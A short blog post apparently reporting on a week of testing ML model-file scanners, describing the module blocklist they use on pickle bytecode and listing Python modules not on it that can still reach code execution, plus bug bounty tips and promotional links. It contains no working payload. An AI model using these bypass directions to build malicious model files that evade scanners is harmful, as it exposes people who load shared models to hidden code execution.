Machine learning model files can contain arbitrary code. Tools like ModelScan and PickleScan try to detect malicious payloads by scanning for dangerous Python modules in pickle bytecode.
I spent a week testing these scanners. Here is what works and what does not.
How Model Scanners Work
ModelScan (by ProtectAI, used on HuggingFace) reads pickle bytecode one opcode at a time, extracting GLOBAL and STACK_GLOBAL imports. It checks these against a blocklist of dangerous modules:
- os, subprocess, sys, socket — blocked
- builtins (eval, exec, open) — blocked
- pickle, shutil, asyncio — blocked
If your pickle file imports any of these, the scanner flags it.
The Gap
The blocklist is finite. Python has hundreds of modules. Several can achieve code execution but are not on the list:
- importlib — can dynamically import any module at runtime
- operator — has methodcaller which can invoke any method on any object
- marshal — can deserialize code objects
- types — can construct callable functions from code objects
- ctypes — can call C library functions directly
What This Means for ML Security
Static blocklist scanning is fundamentally limited. New bypass techniques will always exist because you cannot blocklist every Python module that could potentially be chained into code execution.
The real fix is not bigger blocklists — it is sandboxed execution environments that prevent damage even when malicious code runs.
What I Learned About Bug Bounties
If you are doing security research on AI/ML tools:
- Read the platform guidelines FIRST. Huntr does not pay for local-only deserialization.
- Model File Vulnerability (MFV) programs pay for scanner bypasses — up to 4000 dollars per finding.
- The value is in novel techniques, not in finding another torch.load call.
The security scanner skill I built to automate this workflow is available at manja8.gumroad.com/l/security-scanner.
Building autonomous security research tools at github.com/LuciferForge.
Top comments (0)